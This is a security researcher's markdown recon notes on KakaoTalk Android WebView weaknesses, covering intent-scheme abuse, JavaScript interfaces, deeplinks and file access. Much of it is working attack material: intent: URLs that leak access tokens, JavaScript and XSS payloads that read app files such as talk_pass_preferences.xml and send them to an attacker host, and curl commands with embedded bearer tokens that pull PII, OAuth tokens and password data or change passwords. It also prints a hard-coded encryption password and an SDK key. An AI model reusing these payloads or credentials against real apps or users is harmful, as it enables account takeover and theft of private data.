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kakaotalk_analysis/doc/WEBVIEW.md
stulle123 99ff6f8727 Finalize write-up
2023-12-26 17:09:47 +01:00

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# WebView Recon
- [Low Severity Findings](#low-severity-findings)
- [TODOs / Digging](#TODOs--digging)
- [Tokens / Cookies](#tokens--cookies)
- [JavaScript Interfaces](#javascriptinterface)
- [Redirect Endpoints](#redirect-endpoints)
- [XSS Endpoints](#possible-xss-endpoints)
- [CSRF](#csrf)
- [File Access / Content Providers](#file-access--content-providers)
- [DownloadListener](#downloadlistenerondownloadstart)
- [Deeplinks](#deeplinks)
- [Kakao Pay](#kakao-pay)
- [Misc](#misc)
- [Appendix](#appendix)
- [Attack Vectors](#attack-vector-brainstorming)
- [Payloads](#payloads)
- [KGPopupActivity](#kgpopupactivity)
- [Resources](#resources)
> Disclaimer: Initial recon was performed on an older version of KakaoTalk (`10.1.7`).
> There are a lot of **TODO's** in this document where one can try to dig deeper.
## Low Severity Findings
- Access token leakage in non-exported `MyProfileSettingsActivity` via HTTP request header:
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"`
With this access token a couple of interesting REST APIs can be queried:
```bash
# Get phone number, e-mail address and other PII
curl -i -s -k -X $'GET' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.3.8 An/11 en' -H $'Authorization: 732900c017ec4704b10f9241a3a533e800000017002173708450010fW9JnsTbx7-1f832a7f5963fd31e14e6290394909ef930ce720b31bfd546271c6b5f3cefb54' -H $'A: android/9.5.0/en' -H $'C: a327a1ad-b417-499a-abf7-48da89076e7c' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \
$'https://katalk.kakao.com/android/account/more_settings.json?os_version=30&model=SDK_GPHONE_ARM64&since=1693786891&lang=en&vc=2610380&email=2&adid=&adid_status=-1'
# Get more settings (including a Google API key and URL signing secret)
curl -i -s -k -X $'GET' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Authorization: 732900c017ec4704b10f9241a3a533e800000017002173708450010fW9JnsTbx7-1f832a7f5963fd31e14e6290394909ef930ce720b31bfd546271c6b5f3cefb54' -H $'A: android/9.5.0/en' -H $'C: b2f4724a-7bac-4076-8864-021b5c9205ea' -H $'Accept-Encoding: json, deflate, br' -H $'Connection: close' \
$'https://katalk.kakao.com/android/account/less_settings.json'
# Update settings
curl -i -s -k -X $'POST' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'A: android/9.5.0/en' -H $'Adid: 0b1d9d5d-813f-4952-a3bc-b04628f04344' -H $'C: 9b5c6b99-67c2-4b7c-8047-7f3c2fbfa899' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
--data-binary $'phone_type=1&sim_operator=310260&sim_eq=1&os_version=30&os_name=android&model=SDK_GPHONE_ARM64&screen_resolution=320x592' \
$'https://katalk.kakao.com/android/account/update_settings.json'
# Kakaotalk "My Password"
curl -i -s -k -X $'GET' \
-H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'Talk-Agent: android/9.5.0' -H $'Talk-Language: en' -H $'Accept-Encoding: gzip, deflate, br' -H $'User-Agent: okhttp/4.7.2' \
$'https://talk-pilsner.kakao.com/me/pin/v1/salt'
# Get Access Token for "My Kakao"
curl -i -s -k -X $'POST' \
-H $'Host: api-account.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'A: android/9.5.0/en' -H $'C: 78eccae7-479f-41fe-88ca-fafd2fd07321' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Accept-Language: en' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 174' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
--data-binary $'key_type=talk_session_info&key=106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789&referer=talk' \
$'https://api-account.kakao.com/v1/auth/tgt'
# Upload/Change KakaoPay Face Public Key
curl -i -s -k -X $'POST' \
-H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 732900c017ec4704b10f9241a3a533e800000017002173708450010fW9JnsTbx7-1f832a7f5963fd31e14e6290394909ef930ce720b31bfd546271c6b5f3cefb54' -H $'Talk-Agent: android/10.3.8' -H $'Talk-Language: en' -H $'Content-Type: application/json; charset=utf-8' -H $'Content-Length: 469' -H $'Accept-Encoding: gzip, deflate, br' -H $'User-Agent: okhttp/4.10.0' \
--data-binary $'{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvYuFDu7O05GXateNBSc5VvtboF6NzwJMaxE2/oyk3PXG2/B2UZXkcGM2kP3NfR8MYeuoiVW+zGDrZ6X8IUDgM7nIfzbHuBVo53pZCVadL89kAVbZbsafqFvgsrBUzxxhTfjYY0z/XKKRwN2YCITclyYMYnXRDiyGnYZMYvVSDMzsK1GQKp/B8xxtmArPT3gGkh2oMBR1K752M8vZAwH1sDc10nHunuOsN32cX1iD0oVKwvVBndpgleQoslIDcZCcE6X1LNE3ZvVzrP7dpoJm+hxMKh/x34byJS4NLSWKRc6aKwvRaUi0DjAAQm8YucaAg+UQDDheTOH8h6Ex2cmgKQIDAQAB\",\"keyPairHash\":\"iB91GyJSAF2dxWD7YJ72Lw2SQ7i3uWF7EB2rBCGaeQk=\"}' \
$'https://talk-pilsner.kakao.com/alcatraz/chats/exchangeKeys'
# Get profile details
curl -i -s -k -X $'GET' \
-H $'Host: katalk.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'A: android/9.5.0/en' -H $'C: a357be7d-3b11-4033-92d5-471ea225f096' -H $'User-Agent: KT/9.5.0 An/11 en' -H $'Accept-Language: en' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: close' \
$'https://katalk.kakao.com/android/profile3/me.json'
# Get Cookie
curl -i -s -k -X $'GET' \
-H $'Host: talk-pilsner.kakao.com' -H $'Authorization: 106dc72ab6be4f11b321ac2f09fd0f53000000170014088214200107mOCAvLuEq-472ab54a821a25a17cfc511fe8f5ea4086837931d20e0de8688ef9c3a1ad7789' -H $'Talk-Agent: android/9.5.0' -H $'Talk-Language: en' -H $'Accept-Encoding: json, deflate, br' -H $'User-Agent: okhttp/4.7.2' \
$'https://talk-pilsner.kakao.com/drawer/user/info'
# Get friends
curl -i -s -k -X $'POST' \
-H $'Host: katalk.kakao.com' -H $'Accept-Language: en' -H $'User-Agent: KT/10.1.7 An/11 en' -H $'Authorization: 595c420c563848109b87a2677285cbaf00000016998108925870010obQDJlP7u9-308521c7f910140c1af15a83f7ef2282864e0e4f3c1ee88e97e3964f07cdc0e2' -H $'A: android/10.1.7/en' -H $'Adid: a42e75cd-19e5-43a5-a23b-d2390c100942' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 134' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
--data-binary $'removed_contacts=%5B%5D&add_friends_to_limit=false&phone_number_type=1&reset_contacts=true&type=a&manual=false&contacts=%5B%5D&token=0' \
$'https://katalk.kakao.com/android/friends/update.json'
# Get/set OAuth token
curl -i -s -k -X $'GET' \
-H $'Host: kauth.kakao.com' -H $'Authorization: 595c420c563848109b87a2677285cbaf00000016998108925870010obQDJlP7u9-308521c7f910140c1af15a83f7ef2282864e0e4f3c1ee88e97e3964f07cdc0e2' -H $'User-Agent: KT/10.1.7 An/11 en;KAKAOTALK' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' \
$'https://kauth.kakao.com/oauth/authorize?client_id=24b2ff717557a8090279253242652f80&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth&response_type=code'
curl -i -s -k -X $'POST' \
-H $'Host: kauth.kakao.com' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 271' -H $'Accept-Encoding: gzip, deflate' -H $'User-Agent: okhttp/4.9.3' -H $'Connection: close' \
--data-binary $'client_id=24b2ff717557a8090279253242652f80&code=pYn2ksN-KH8bIaCHp3OwiM98G5xgdzkEvIgA4HDBhUT-uVcrTXzHiEgp1vA1HrERSESLXQoqJY8AAAGI3iGODg&grant_type=authorization_code&android_key_hash=S2FrYW9JIE1hc3RlciBLZXkg&redirect_uri=kakao24b2ff717557a8090279253242652f80%3A%2F%2Foauth' \
$'https://kauth.kakao.com/oauth/token'
```
- I can start arbitrary components via the `intent:` scheme in `CommerceBuyActivity` (`kakaotalk://buy`)
- I can exfiltrate files by sending Intents with `content://` URLs to `MyProfileSettingsActivity`:
```javascript
// Read Firebase Installation configuration
location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;end"
var data = document.querySelector('pre').innerHTML;
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(data);
```
- I can open arbitrary URLs via `KGPopupActivity`, `MyProfileSettingsActivity` and `CommerceShopperWebViewActivity`:
- `adb shell am start "intent:#Intent\;component=com.kakao.talk/.gametab.view.KGPopupActivity\;S.url=https://foo.com\;end"`
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=http://10.0.2.2:8888/;end"`
- `location.href = "intent:#Intent;component=com.kakao.talk/com.kakao.talk.commerce.ui.shopper.CommerceShopperWebViewActivity;S.URL=https://foo.com;end"`
- `InAppBrowserActivity` -> `kakaointernalweb://host/q?url=https://www.foo.com&spamType=0&isPlusType=true`
- `BizInAppBrowserActivity`-> `kakaotalk://bizwebview/open?url=http://www.foo.com`
- I can execute JavaScript by:
- Pointing to attacker-controlled URLs
- Using the `data:` scheme, e.g.: `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=data%3Atext%2Fhtml%2C%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E;end"`
- Using the `javascript:` scheme, e.g.: `location.href = "intent:#Intent;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity;S.EXTRA_URL=javascript:alert%28%221%22%29;end"`
- I can access `/storage`, `/data/data/com.kakao.talk/files`, `/data/data/com.kakao.talk/cache` directories by opening `content:` URLs in `MyProfileSettingsActivity`, `KaKaoMailDocumentViewWebActivity`, and others, e.g.:
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.kakaomail.KaKaoMailDocumentViewWebActivity;S.url=content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json;S.subContent=foo;end"`
- Reading a cookie: `adb shell content read --uri "content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627"`
- Using the `android-app:` scheme: `adb shell am start "android-app://#Intent\;component=com.kakao.talk/.activity.setting.MyProfileSettingsActivity\;S.EXTRA_URL=content://com.kakao.talk.FileProvider/external_files/emulated/0/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627\;end"`
- There are a couple of JavaScript interfaces that access the user's location (see [below](#javascriptinterface))
- AuTODOwnload to `/sdcard/Download` via Chrome (`app://kakaotalk/openURL?url=`)
- I can access other `BROWSABLE` Activities or Apps via the `android-app:` scheme, e.g.:
- `location.href = "android-app://com.google.android.googlequicksearchbox/https/www.google.com"`
- `setWebContentsDebuggingEnabled` is enabled for most WebViews
- XSS in `com.kakao.talk.activity.cscenter.CsCenterActivity` (search field)
- https://cs.kakao.com/search?query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E (you need to click into the search field to trigger the alert)
## TODOs / Digging
Things to try out / dig deeper.
### Tokens / Cookies
- What's this cookie? -> `/sdcard/Android/data/com.kakao.talk/KakaoTalk/cookie/.57f323da7592b0b5de1360de3da701b0d1aa6627`
- Encrypted with a hard-coded password (`KaKAOtalkForever`)
- Plaintext: `{"sid":"4322E936A4CC18FC7041C1DD53CAFB58934880D7F88D7A514613BC1035786F"}`
- Java Class: `n50.b` / `CookieFileUtils`
- How is the `_maldive_oauth_webapp_session_key` token generated? Required for a couple of REST APIs, e.g.:
```bash
# Check password
curl -i -s -k -X $'POST' \
-H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 99' \
-b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
--data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&check_type=11' \
$'https://auth.kakao.com/kakao_accounts/check_password.json'
# Change password
curl -i -s -k -X $'POST' \
-H $'Host: auth.kakao.com' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' -H $'Accept: */*' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: https://auth.kakao.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' -H $'Content-Length: 120' \
-b $'_maldive_oauth_webapp_session_key=0795170f93efe069384cedf7750c6a6d' \
--data-binary $'client_id=88215199793288849&lang=en&os=android&v=10.1.7&webview_v=2&password=kBB5mmmE&new_password=kBB5mmmE&reset_type=3' \
$'https://auth.kakao.com/kakao_accounts/check_restricted_password.json'
```
### @JavascriptInterface
- `KvKakaoViewJavascriptInterface` -> `kakaoview` interface
- `loadURL()`
- `KvKakaoTalkJavascriptInterface`
- `getCurrentLocation(String str)`
- `BaseWebViewActivity` -> `webview` interface
- `saveImage()`
- `NamecardWebActivity` -> `saveImage()`
- `JdSearchWebScriptInterface` -> `kakaoweb` interface
- `saveImage()`
- `requestLocationString(final String str)`
- `JdSearchWebCardScriptInterface` -> `kakaotalk` interface
- `requestLocation()`
- `requestLocationWithParam(String str)`
- `updateJson(String str)`
- `VCBridgeJavascriptInterface` -> `vc` interface -> used in `ShakeWebActivity`
- `checkKakaoCertAvailable(String str)`
- `writeData()`
- `readData()`
- `DigitalDocsWebActivity` -> `digitalDocs` interface
- `webview_mount()` (seems to load a URL)
- `KakaoBizWebJavascriptInterface` -> `kakaoBizWebExtensionNative` interface
- `executeBizWebExtension()`
- `kakaotalk://order` (`KakaoOrderActivity`) -> `kakaoTalk` interface
- `getAuthorization()`
- `getGeolocation()`
- `listenSms()`
- `openKakaoOrderFileChoose()`
- `openKakaoOrderShortcut()`
- `KakaoHairshopActivity` (`kakaotalk://hairshop`) -> `kakaoTalk` interface
- `getAuthorization()`
- `getGeolocation()`
- `getGeolocationForce()`
- `CommerceMakersActivity` (`kakaotalk://makers`) -> `kakaoTalk` interface
- `openExternalUrl(String str)`
- `KGWebView` (`kakaotalk://gamecenter`) -> `Gametab` interface
- `api(String str, String str2, String str3)` -> available commands in `KGWebViewCommands` class
- `kgapi(String str, String str2, String str3`
- `PlusHomeWebLayout` -> `kakaoTalk` interface
- `getGeolocation()`
- `getGeolocationForce()`
- `isLocationAgreed()`
- `CheckoutActivity` -> `kakaotalk` interface
- `addTalkChannel(long j)`
- `SubscriptionIapWebActivity` -> `kakaoSubscription` interface
- `requestInAppPurchase(String str)`
- `PlusEventScriptInterface`
- `copyClipboard(String str, String str2)`
- `WebViewSignedLocationInterface` -> `native` interface
- `reqSignInLocation(String str, String str2)`
- `KakaoTvPayJavascriptInterface` -> `kakaotv` interface -> used in `KakaoTvPayActivity`
- `purchaseItem(String str)`
### Redirect endpoints
- https://buy.kakao.com/auth/0/cleanFrontRedirect?returnUrl=https://www.kakao.com
- https://accounts.kakao.com/logout?continue=https://www.kakao.com
### Possible XSS endpoints
Maybe someone finds a XSS here:
- https://ccs.kakao.com/search?service=66&service=67&query=foo&locale=kr
- https://cs.kakao.com/search?query=foo
- https://cs.kakao.com/talk_helps_search?query=foo&serviceId=8
- https://devtalk.kakao.com/search?q=foo
- https://m.shoppinghow.kakao.com/m/search/q/foo
### CSRF
- Test/check `kakaotalk://settings`
- Interesting Activities:
- `ChangePhoneNumberActivity`
- `com.kakao.talk.activity.setting.p134pc.PCSettingsActivity`
- `com.kakao.talk.activity.setting.p134pc.PCSettingsAuthenticationNumberActivity`
- `com.kakao.talk.activity.setting.DeleteAccountAgreementActivity`
- `com.kakao.talk.activity.setting.DeleteAccountCheckOthersActivity`
- `com.kakao.talk.activity.setting.DeleteAccountResultActivity`
- `com.kakao.talk.activity.setting.EncryptionKeysInformationActivity`
- `com.kakao.talk.activity.setting.EncryptionKeysInformationDetailActivity`
- `com.kakao.talk.zzng.settings.MyPinSettingsActivity`
### File Access / Content Providers
- Investigate `FileDownloadHelperActivity`
- `location.href = "intent:#Intent;component=com.kakao.talk/.activity.file.FileDownloadHelperActivity;action=com.kakao.talk.activity.file.FileDownloadHelperActivity.ACTION_FILE_OPEN;S.file_uri=file:///external_files/test.txt;end"` -> `Failed to find configured root that contains /external_files/test.txt`
- `setAllowFileAccessFromFileURLs`
- Create a JS file in `Download` folder (called `foo.html`)
- `foo.html` reads `file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml`
- Access `foo.html` file via `content:` scheme in some Webview that supports `setAllowFileAccessFromFileURLs`
- `XMLHttpRequest` still won't work -> because it's not a `file://` URL?
- Need to be able to create/download files in/to `Download` folder
- Cannot steal files that cannot be rendered in a Webview (e.g., `LocalUser_DataStore.pref.preferences_pb` in `files` folder). Text files work fine: `content://com.kakao.talk.FileProvider/onepass/PersistedInstallation.W0RFRkFVTFRd+MTo1NTIzNjczMDMxMzc6YW5kcm9pZDpiNjUwZmVmOGI2MDY1MzVm.json`.
- `CommerceShopperWebViewActivity` doesn't auTODOwnload but also doesn't render binary files
### DownloadListener.onDownloadStart
- Check `p21.e` / `DownloaderTask` class (`com.kakao.talk.widget.webview.WebViewHelper` -> `processDownload()` -> `C42792b.m9697b()` -> `DownloaderTask.m16277b()`)
- **TODO**: Try path traversal
- Bypass `DownloaderTask` checks
- Downloads files to `/sdcard/Download/` directory
- Not able to overwrite files
- Play with `data:` URIs (`data:[<mediatype>][;base64],<data>`)
- **TODO:** I *might* be able to force WebViews to auTODOwnload files by pointing them to an attacker-controlled website. Required headers:
- `Content-Type: application/octet-stream`
- `content-disposition: attachment; filename=foo.html`
- Investigate `com.kakao.talk.widget.webview.WebViewHelper` class:
- `downloadImagesToSdCard()`
- `processDownload()` -> `C42792b.m9697b()` -> `DownloaderTask.m16277b()`
### Deeplinks
- Check `kakaolink://` links
- `InAppBrowserActivity` -> `kakaotalk://inappbrowser`
- `KakaoOrderActivity` (`kakaotalk://order`)
- `kakaotalk://store`
- HTTP request to `store.kakaofriends.com` —> Change `Location` in HTTP Response Header to a different URL
- `KakaoHairshopActivity` (`kakaotalk://hairshop`)
- `KakaoStyleActivity` (`kakaotalk://style`)
- `BillingWebActivity` (`kakaotalk://mywallet/go`)
- `CommerceGiftActivity` (`kakaotalk://gift/home?url=shortcut&input_channel_id=1017`)
- Check `app://` links
- `CheckoutActivity` (`kakaotalk://checkout/open?url=`)
### Kakao Pay
- Setup Kakaopay —> Get Korean phone number / SIM card
- `kakaotalk://kakaopay/billgates?url=`
- `kakaotalk://kakaopay/web?url=`
- `kakaotalk://kakaopay/payweb?url=`
- `kakaopay://payweb?url=`
### Misc
- Try to send intents to `com.kakao.talk.service.MessengerService` (via `kakaotalk://buy` Webview)
- Clicking on https://auth.kakao.com in the KakaoTalk chat leads to `KakaoAccountSettingsActivity`
- Switch to a different Activity via `continue` parameter -> `https://auth.kakao.com/kakao_accounts?continue=kakaotalk://main`
- When opening `content:` URIs I end up in the `null` origin -> `XMLHttpRequest` to `http` scheme works here
## Appendix
### Attack Vector Brainstorming
- File load from insecure file locations
- Load data into WebViews via `intent:` scheme
- HTTP(S) MITM
- Create a `Plus Friend` or `Kakao Business` page or an `Open Chat Room` to deliver malicious JS
- Deep link parsing
- Deep link —> open insecure WebView —> MITM —> run arbitrary JS code
- Use the `intent:` scheme to start arbitrary components
- Open attacker controlled website -> JS
- Try different URL schemes (e.g., `javascript:`, `intent:`, `file://`, `content://`, `data://`, etc.)
- Phishing (e.g., steal credentials by showing a legitimate KakaoTalk page)
- https://accounts.kakao.com/
### Payloads
Test payloads:
```javascript
<img src=1 onerror=\"alert(1);alert('XSS')\"/>
```
```javascript
var x=new XMLHttpRequest(); x.open('GET', 'http://localhost:8000/', true); x.send();
```
```javascript
<img src=1 onerror=\"var xhttp_comment = new XMLHttpRequest();xhttp_comment.open('GET', 'http://localhost:8000/', true);xhttp_comment.send();\"/>
```
Exfiltration payload:
```javascript
<img src=1 onerror=\"
var xhttp_comment = new XMLHttpRequest();
xhttp_comment.onreadystatechange = function() {
if (this.readyState == 4) {
img = new Image();
img.src = 'http://10.0.2.2:8888?data=' + encodeURIComponent(this.responseText);
}
};
xhttp_comment.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true);
xhttp_comment.send();
\"/>
```
One-liner:
```javascript
<img src=1 onerror=\" var x = new XMLHttpRequest(); x.onreadystatechange = function() { if (this.readyState == 4) { img = new Image(); img.src = 'http://localhost:8000?data=' + encodeURIComponent(this.responseText); } }; x.open('GET', 'file:////data/user/0/com.kakao.talk/shared_prefs/talk_pass_preferences.xml', true); x.send(); \"/>
```
### KGPopupActivity
- `KGPopupActivity` (`kakaotalk://gamecenter`)
- `webViewSettings.setAllowFileAccessFromFileURLs(true);`
- `webViewSettings.setAllowUniversalAccessFromFileURLs(true);`
- Intent scheme allowed (but compontent and selector are set to null)
- There are `KG`, `Kakao` and `kakaoweb` JS APIs
- JavaScript-Native Bridge
- `Gametab.api("talk/toolbar/show", '', '');` —> defined in class `KGWebViewCommands`
- Key for Kakaotalk JavaScript SDK: `8fa1ffbc074c716c201ce0074d5f798e`
Send intents in JS:
```javascript
// Open Game Center (KGPopupActivity)
location.href = "intent://gamecenter#Intent;scheme=kakaotalk;end";
// Open Music Player
location.href = "intent:#Intent;action=com.kakao.talk.intent.action.OPEN_MUSIC_PLAYER;end"
// Open any URL in KakaoTalk browser
location.href = "intent:#Intent;action=foo;S.browser_fallback_url=https://foo.com;end"
```
Via ADB:
```bash
# Open Gift Store
adb shell am start "intent:#Intent\;component=com.kakao.talk/.commerce.ui.gift.CommerceGiftActivity\;end"
```
`intent:` parsing observations:
- Intent scheme parsing happening in `URIController.d` method
- `parseUri.addCategory("android.intent.category.BROWSABLE");`
- `parseUri.setSelector(null);`
- `parseUri.setComponent(null);`
- `action` is allowed
- `package` opens the Playstore
- `data` part is parsed for `http` and `https` schemes
- malformed `intent://` URL -> `"about:blank"` WebView
- `component=null` -> Google Settings Backup Activity
## Resources
- [CORS and WebView API](https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/docs/cors-and-webview-api.md)
- [Intent Scheme](https://www.mbsd.jp/Whitepaper/IntentScheme.pdf)
- [Defcon WebView Training](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20workshops/DEF%20CON%2026%20-%20Workshop-David-Turco-and-Jon-Overgaard-Christiansen-Wheres-My-Browser-Learn-Hacking-iOS-and-Android-WebViews.pdf)
- [Android security checklist: WebView](https://blog.oversecured.com/Android-security-checklist-webview/)
- [Reviewing Android Webviews fileAccess attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
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